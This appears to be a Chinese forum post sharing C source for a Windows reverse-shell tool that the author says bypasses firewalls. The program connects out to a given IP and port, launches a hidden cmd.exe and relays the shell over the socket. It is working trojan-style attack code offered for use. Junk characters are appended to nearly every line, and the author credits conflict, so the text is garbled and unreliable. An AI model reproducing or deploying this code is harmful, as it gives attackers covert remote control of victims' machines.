Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 YK V"bI  
b6^#{))"  
/* ============================== V9;O1  
Rebound port in Windows NT +7Qj%x\  
By wind,2006/7 XZ4H(Cj  
===============================*/ Bgs,6:  
#include \ccCrDz  
#include B/K
{sI  
3uuB/8  
#pragma comment(lib,"wsock32.lib") \tfhF#'  
 z:d+RMA  
void OutputShell(); =c#;c+a  
SOCKET sClient; V4. }wz_Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :@,UPc-+  
b`^mpB*6R  
void main(int argc,char **argv) -^,wQW:o)  
{ Q o
WjC  
WSADATA stWsaData; -v~XS-
F  
int nRet; i&Me7=~  
SOCKADDR_IN stSaiClient,stSaiServer; =UV=F/Af^  
(!koz'f  
if(argc != 3) }/VSIS@Z  
{ (*G'~gSX  
printf("Useage:\n\rRebound DestIP DestPort\n"); 89fl\18%  
return; S%7%@Qs"%  
} 1-}$sO c  
r'J3\7N!u  
WSAStartup(MAKEWORD(2,2),&stWsaData); W C3b_ia  
sx][X itR+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZIJTGa}B q  
@,SN8K0T  
stSaiClient.sin_family = AF_INET; x=3+@'  
stSaiClient.sin_port = htons(0); }J] P`v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C-;}a%c"  
p/?TU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }>m3V2>[  
{ N4wMAT:h  
printf("Bind Socket Failed!\n"); &$.x1$%  
return; lPn&,\9@~  
} V5]:^=  
etL)T":XV  
stSaiServer.sin_family = AF_INET; vA#?\j2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Kvh6D"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YL@d+ -\  
1~9AQ[]w8  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;aUI3n%  
{ mG+hLRTXP  
printf("Connect Error!"); l&m'?.gf  
return; `*Jw[Bnh8  
} WyJXT.  
OutputShell(); Ge4tc  
} +( V+XT  
cP[]\r+Kj  
void OutputShell()
q pFzK  
{ "6P-0CJ  
char szBuff[1024]; x^JjoI2vf  
SECURITY_ATTRIBUTES stSecurityAttributes; *,oZ]!   
OSVERSIONINFO stOsversionInfo; ;@I}eZ,f$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2s8(r8AI  
STARTUPINFO stStartupInfo; 0%5x&vx'S  
char *szShell; qYR+qSAJP  
PROCESS_INFORMATION stProcessInformation; !Mk:rO-L  
unsigned long lBytesRead; ,__|SnA.  
s`"ALn8m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .X(ocs$}  
da53XEF&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^p!bteA>  
stSecurityAttributes.lpSecurityDescriptor = 0; s*W)BK|+?  
stSecurityAttributes.bInheritHandle = TRUE; ]<\; -i)  
N>_d {=P  
U-3uT&m*9.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Is !DiB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xn)r6  
&_y+hV{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %]@K}!)2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DwC8?s*2H  
stStartupInfo.wShowWindow = SW_HIDE; =v]
eQIp  
stStartupInfo.hStdInput = hReadPipe; "6%vVi6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n)rF!a  
L8j#lu  
GetVersionEx(&stOsversionInfo); B^G{k3]t  
Rd.[8#7VE  
switch(stOsversionInfo.dwPlatformId) $[P>nRhW  
{ mLn =SU{#  
case 1: Q{Lsr,  
szShell = "command.com"; IRQ3>4hI  
break; u3H2\<  
default: Ctxx.MM  
szShell = "cmd.exe"; ?OPAf4h  
break; e/h7x\Z  
} _;+N=/l0  
<ArP_! `3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^R4eW|H  
@Q atgYu  
send(sClient,szMsg,77,0);  ]=g|e  
while(1) ;{~F7:i  
{ ;zO(bj>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'yM)>]u"  
if(lBytesRead) y]
`@%V2P  
{ S:"t]gbF =  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %.R_[.W  
send(sClient,szBuff,lBytesRead,0); ngN_,x7yc  
} ; (+r)r_  
else U{>eE8l  
{ 3rZ"T  
lBytesRead=recv(sClient,szBuff,1024,0); (d
F4F4`{  
if(lBytesRead<=0) break; ]Zim8^n?`.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hexq]'R  
} +mT}};-TS  
} xW,(d5RtZ  
)Cz^Xp)#  
return; =#<hT s  
}